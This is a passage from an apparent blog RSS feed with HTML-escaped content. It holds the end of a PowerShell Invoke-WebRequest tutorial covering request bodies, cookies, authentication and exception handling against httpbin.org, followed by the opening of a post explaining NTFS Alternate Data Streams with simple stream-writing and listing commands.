&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To be on the safe side, make sure to either use the &lt;code&gt;-InFile&lt;/code&gt; option (and specify the &lt;code&gt;-Headers&lt;/code&gt;) and/or use a pipeline, but set the &lt;code&gt;-ContentType&lt;/code&gt; option (instead of the Content-Type header in the &lt;code&gt;-Headers&lt;/code&gt;) the &lt;em&gt;Invoke-WebRequest&lt;/em&gt; cmdlet provides:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Get-Content&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;-ReadCount&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;-Method&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;-ContentType&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;application/json; charset=utf-8&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; will properly send the UTF-8 data.&lt;/p&gt;
&lt;h3 id="using--body"&gt;Using -Body&lt;/h3&gt;
&lt;p&gt;If you want to build your body manually in the command, you can use the &lt;code&gt;-Body&lt;/code&gt; option:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;-Method&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;-ContentType&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;application/json; charset=utf-8&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;-Body&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{&amp;#34;hello&amp;#34;: &amp;#34;world&amp;#34;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For posting form data, you can use a hash table (going with the default &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; here):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;-Method&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;-Body&lt;/span&gt; &lt;span class="vm"&gt;@&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;world&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="sending-cookies-building-sessions"&gt;Sending Cookies, building sessions&lt;/h2&gt;
&lt;p&gt;When having multiple interactions with an endpoint, you might want to use a session object, for example to capture/send cookies. The Invoke-WebRequest cmdlet provides the option &lt;code&gt;-SessionVariable&lt;/code&gt;, which you can give a target variable name to be used later for subsequent requests with the &lt;code&gt;-WebSession&lt;/code&gt; option. Since we&amp;rsquo;re focussing on just manually sending data, let&amp;rsquo;s rather see, how we can manually create a .NET CookieContainer, add a cookie, and then pass the whole thing to &lt;code&gt;iwr&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$s&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;Microsoft&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;PowerShell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;WebRequestSession&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$c&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hello&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;World&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;httpbin.org&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Cookies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://httpbin.org/cookies&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-WebSession&lt;/span&gt; &lt;span class="nv"&gt;$s&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This basically just translates to a &lt;code&gt;Cookie: Hello=World&lt;/code&gt; header.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 The arguments to .Net.Cookie are referenced &lt;a href="https://docs.microsoft.com/en-us/dotnet/api/system.net.cookie?view=netframework-4.7.2"&gt;here at the MS docs&lt;/a&gt;; in short, we&amp;rsquo;re using Name, Value, Path, Domain. Inspect &lt;code&gt;$c&lt;/code&gt; to see other attributes to set (like http only, secure, expiry, etc.)
&lt;/div&gt;

&lt;h2 id="authentication"&gt;Authentication&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s look at three ways to authenticate against a web service: using basic auth, using client certificates and using Windows authentication via NTLM or Kerberos.&lt;/p&gt;
&lt;h3 id="using-basic-auth"&gt;Using Basic Auth&lt;/h3&gt;
&lt;p&gt;In this case we will not wait for a server challenge, but build the Authorization header ourselves (don&amp;rsquo;t do this with sensitive creds as they will go right into your history file!):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$creds&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;System.Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ToBase64String&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="no"&gt;System.Text.Encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;UTF8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AzureDiamond:hunter2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://httpbin.org/basic-auth/AzureDiamond/hunter2&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-Headers&lt;/span&gt; &lt;span class="vm"&gt;@&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Authorization&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Basic &amp;#39;&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you want to use your Windows user&amp;rsquo;s credentials for the request, you can just use the &lt;code&gt;-Credential&lt;/code&gt; option, as in &lt;code&gt;-Credential domain\you&lt;/code&gt;. In this case, there&amp;rsquo;s no need for you to create the Authorization header yourself. Not though, that this will make two requests; one that the server will answer with a 401, and another one with your credentials.&lt;/p&gt;
&lt;h3 id="using-a-client-certificate"&gt;Using a client certificate&lt;/h3&gt;
&lt;p&gt;Using a client-certificate-based authentication is easiest when you access the certificate directly from the Windows cert store. Make sure to have your client certificate and private key installed, then use the &lt;code&gt;-CertificateThumbprint&lt;/code&gt; option to pass the thumbprint of the cert you want to use. For example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-ChildItem&lt;/span&gt; &lt;span class="n"&gt;Cert&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;CurrentUser&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;My&lt;/span&gt; &lt;span class="c"&gt;# Check installed certs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Thumbprint&lt;/span&gt; &lt;span class="n"&gt;Subject&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;----------&lt;/span&gt; &lt;span class="p"&gt;-------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;28D8AB79A7976FEED36D1DF0B9AC3D3F36B7C4DF&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;BadSSL&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;O&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;BadSSL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;San&lt;/span&gt; &lt;span class="n"&gt;Francisco&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;California&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;US&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://client.badssl.com&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-CertificateThumbprint&lt;/span&gt; &lt;span class="n"&gt;28D8AB79A7976FEED36D1DF0B9AC3D3F36B7C4DF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="using-windows-authentication--http-negotiate"&gt;Using Windows authentication / HTTP Negotiate&lt;/h3&gt;
&lt;p&gt;You can also instruct &lt;code&gt;iwr&lt;/code&gt; to use the domain credentials of the current user (for example for an intranet service). This is helpful if you want to send requests to an endpoint that wants you to connect via a Windows Authentication provider like NTLM or Kerberos.&lt;/p&gt;
&lt;p&gt;Just adding &lt;code&gt;-DefaultCredentials&lt;/code&gt; to your &lt;code&gt;iwr&lt;/code&gt; will handle the negotiation for you:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="nb"&gt;my-domain&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-UseDefaultCredentials&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;iwr&lt;/code&gt; will make an unauthenticated request which will result in a 401 error, then make another request (or more) for the NTLMSSP (NTLM Secure Service Provider) or SPNEGO (Simple Protected Negotiation) negotiation.&lt;/p&gt;
&lt;div class="notice notice-warning"&gt;
 Note that &lt;code&gt;-DefaultCredentials&lt;/code&gt; will not work for Basic Auth!
&lt;/div&gt;

&lt;h2 id="catching-exceptions"&gt;Catching exceptions&lt;/h2&gt;
&lt;p&gt;Combining all the options from above can lead to errors, so let&amp;rsquo;s see how we can catch these exceptions.&lt;/p&gt;
&lt;p&gt;Something like the following will give an error (invalid option to &lt;code&gt;iwr&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;-SomethingInvalid&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, this will also give an error (syntactically correct command, but server returns a 404):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;doesnt-exist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can catch all kinds of exceptions by wrapping the request into a try-catch block:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;doesnt-exist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Exception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will catch all exceptions. If you want to handle certain exceptions differently, use multiple catch statements.&lt;/p&gt;
&lt;p&gt;We can access the exception though the pipeline variable &lt;code&gt;$_&lt;/code&gt;. The server response object (obviously only if it is a WebException and not something like a Command exception, ParameterBindException, etc.) can then be accessed via &lt;code&gt;$r.Response&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="more-information"&gt;More information&lt;/h2&gt;
&lt;p&gt;There are naturally many more options, more scenarios and the whole topic about response parsing I didn&amp;rsquo;t mention here. Have a look at the &lt;a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-5.1"&gt;official docs&lt;/a&gt; for a first overview, then start tinkering.&lt;/p&gt;
&lt;p&gt;Have fun!&lt;/p&gt;</description></item><item><title>Hidden in plain sight: Alternate Data Streams</title><link>https://davidhamann.de/2019/02/23/hidden-in-plain-sight-alternate-data-streams/</link><pubDate>Sat, 23 Feb 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/02/23/hidden-in-plain-sight-alternate-data-streams/</guid><description>&lt;p&gt;Have you ever wondered how a file in a file listing is shown with size 0 bytes but can still contain data? Or maybe wondered where all that meta data is stored, how malware can infect files or just how you can &amp;ldquo;hide&amp;rdquo; stuff in a file?&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s talk about &lt;em&gt;Alternate Data Streams&lt;/em&gt; to learn more.&lt;/p&gt;
&lt;h2 id="ads---alternate-data-streams"&gt;ADS - Alternate Data Streams&lt;/h2&gt;
&lt;p&gt;When you hear &amp;ldquo;Alternate Data Streams&amp;rdquo; you may think about resource forks in Mac OS HFS. But we&amp;rsquo;re talking about Windows and NTFS. Back in the days of Windows NT 3.1 (ha!), NTFS streams were actually implemented to support the Mac resource forks.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s fire up a cmd prompt and start with a practical example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;&lt;span class="n"&gt;Hello&lt;/span&gt; &lt;span class="n"&gt;World&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;hidden&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dir
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;02&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;23&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2019&lt;/span&gt; &lt;span class="mf"&gt;12&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;56&lt;/span&gt; &lt;span class="n"&gt;AM&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt; &lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, we redirected our echo to the file, but specified another name after the colon. This is the name of the stream, which now contains our &amp;ldquo;Hello World!&amp;rdquo;. Note, though, that our created file is still being displayed as having a file size of 0 bytes.&lt;/p&gt;
&lt;h2 id="seeing-the-streams"&gt;Seeing the streams&lt;/h2&gt;
&lt;p&gt;What we just did, was to write data to a data stream other than the original data stream, a.k.a. the file itself.&lt;/p&gt;
&lt;p&gt;We could go on and add another stream like this: &lt;code&gt;echo more stuff &amp;gt; hello.txt:mystream&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After creating our streams, how do we actually look at them?&lt;/p&gt;
&lt;p&gt;We can (on Win &amp;gt;= 8) use the &lt;code&gt;Get-Item&lt;/code&gt; and &lt;code&gt;Get-Content&lt;/code&gt; Cmdlets in Powershell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Get-Item&lt;/span&gt; &lt;span class="n"&gt;-path&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;-stream&lt;/span&gt; &lt;span class="p"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt; &lt;span class="n"&gt;Length&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;------&lt;/span&gt; &lt;span class="p"&gt;------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;$DATA&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;hidden&lt;/span&gt; &lt;span class="mf"&gt;13&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;mystream&lt;/span&gt; &lt;span class="mf"&gt;9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above command will show us the streams we&amp;rsquo;ve created, plus the default one, also called &lt;em&gt;unnamed data stream&lt;/em&gt;. When looking at the sizes/lengths, we can also see that the unnamed stream is still only 0 bytes (which can make it hard for users to detect disk usage in case of the presence of some large alternate data streams).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$DATA&lt;/code&gt; is actually the stream type. So our &lt;em&gt;unnamed&lt;/em&gt; default stream is literally just an unnamed stream, while our &amp;ldquo;hidden&amp;rdquo; stream would be an alternate stream with a name, which could also be written like &lt;code&gt;hidden:$DATA&lt;/code&gt;.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;strong&gt;Fun fact:&lt;/strong&gt; if we were to create a hash of our &lt;code&gt;hello.txt&lt;/code&gt; file (&lt;code&gt;Get-FileHash hello.txt&lt;/code&gt;), then added data to an ADS, the hash would not change.
&lt;/div&gt;

&lt;h2 id="getting-the-contents-out"&gt;Getting the contents out&lt;/h2&gt;
&lt;p&gt;To get the content out again, we can use the &lt;code&gt;Get-Content&lt;/code&gt; cmdlet:&lt;/p&gt;
